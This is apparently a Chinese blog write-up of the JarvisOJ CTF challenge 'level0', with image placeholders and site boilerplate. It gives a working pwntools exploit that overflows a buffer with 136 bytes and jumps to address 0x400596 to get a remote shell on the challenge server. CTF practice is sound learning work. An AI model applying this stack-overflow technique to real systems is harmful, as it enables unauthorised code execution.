jarvisoj——[XMAN]level0

题目

在这里插入图片描述

Wp

拿下来之后发现是一个64位的,直接开ida

main函数,现在对main函数已经很熟悉了

在这里插入图片描述

这里看到一个方法

在这里插入图片描述
这里按照规则覆盖即可。

脚本

from pwn import *
sh=remote("pwn2.jarvisoj.com","9881")
data="A"*136+p64(0x400596)
sh.sendline(data)
sh.interactive()
sh.close()
已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 程序猿惹谁了 设计师:白松林 返回首页